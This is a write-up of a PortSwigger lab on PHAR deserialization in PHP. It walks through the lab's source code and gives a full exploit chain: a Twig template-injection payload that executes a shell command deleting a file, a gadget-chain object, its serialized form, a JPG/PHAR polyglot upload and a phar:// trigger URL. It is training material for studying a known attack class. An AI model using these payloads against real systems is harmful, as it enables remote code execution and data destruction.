The PHP documentation reveals that PHAR manifest files contain serialized metadata. Crucially, if you perform any filesystem operations on a phar:// stream, this metadata is implicitly deserialized. This means that a phar:// stream can potentially be a vector for exploiting insecure deserialization, provided that you can pass this stream into a filesystem method.

One approach is to use an image upload functionality, for example. If you are able to create a polyglot file, with a PHAR masquerading as a simple JPG, you can sometimes bypass the website’s validation checks. If you can then force the website to load this polyglot “JPG” from a phar:// stream, any harmful data you inject via the PHAR metadata will be deserialized. As the file extension is not checked when PHP reads a stream, it does not matter that the file uses an image extension.

As long as the class of the object is supported by the website, both the __wakeup() and __destruct() magic methods can be invoked in this way, allowing you to potentially kick off a gadget chain using this technique.

Lab: Using PHAR Deserialization to Deploy a Custom Gadget Chain

Info

Follow the solution: Lab: Using PHAR deserialization to deploy a custom gadget chain | Web Security Academy (portswigger.net) to solve this lab.

Avatar image is loaded from /cgi-bin/avatar.php?avatar=wiener endpoint. Navigate to /cgi-bin, there are some source code files.

SSTI Sink

The first one is Blog.php:

<?php
 
require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');
 
class Blog {
    public $user;
    public $desc;
    private $twig;
 
    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }
 
    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }
 
    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }
 
    public function __sleep() {
        return ["user", "desc"];
    }
}
 
?>

As we can see, there is a magic method named __wakeup() that would be invoked during deserialization process. In this method, there is a declaration of a Twig_Loader_Array loader:

$loader = new Twig_Loader_Array([
	'index' => $this->desc,
]);

Generally, loaders are responsible for loading templates from a resource such as the file system. In this context, it is used for defining a template named index.

An example usage of Twig_Loader_Array loader:

$loader = new \Twig\Loader\ArrayLoader([
    'index.html' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
 
echo $twig->render('index.html', ['name' => 'Fabien']);

This loader is then passed into a Twig_Environment object, which is the central object of Twig Template Engine:

$this->twig = new Twig_Environment($loader);

Finally, the template and data will be combined and rendered via render() method in another magic method named __toString():

public function __toString() {
	return $this->twig->render('index', ['user' => $this->user]);
}

The value of index template is vulnerable to Server Side Template Injection (SSTI) vulnerability. We will inject the following payload (refer to PayloadsAllTheThings/Server Side Template Injection/README.md at master · swisskyrepo/PayloadsAllTheThings (github.com):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}

Kick-off Gadget

The second one is CustomTemplate.php:

<?php
 
class CustomTemplate {
    private $template_file_path;
 
    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }
 
    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }
 
    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }
 
    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Could not write to " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }
 
    function __destruct() {
        // Carlos thought this would be a good idea
        @unlink($this->lockFilePath());
    }
 
    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}
 
?>

There is a magic method named __destruct(), which will invoke another method named lockFilePath(). The lockFilePath() method will access the template_file_path property of the current instance of CustomTemplate. If we assign this property with an instance of Blog class, it will trigger __toString() method when lockFilePath() tries to get the template_file_path property.

Build the Malicious Serialized Object

Next, we build a malicious serialized object like this:

class CustomTemplate {}
class Blog {}
 
$ssti_payload = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$blog = new Blog;
$blog->desc = $ssti_payload;
$blog->user = 'user';
$object = new CustomTemplate;
$object->template_file_path = $blog;

Make a PHAR + JPG Polyglot

Use kunte0/phar-jpg-polyglot tool to generate a JPG image with an embeded PHAR file that contains the malicious serialized object:

php -c php.ini phar_jpg_polyglot.php 
string(215) "O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:4:"user";s:4:"desc";s:106:"{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}";}}"

Upload the output image.

Trigger PHAR Deserialization

Access to /cgi-bin/avatar.php?avatar=phar://wiener endpoint (notice the phar:// prefix) to trigger the PHAR deserialization and execute the payload.

list
from outgoing([[Port Swigger - PHAR Deserialization]])
sort file.ctime asc

Resources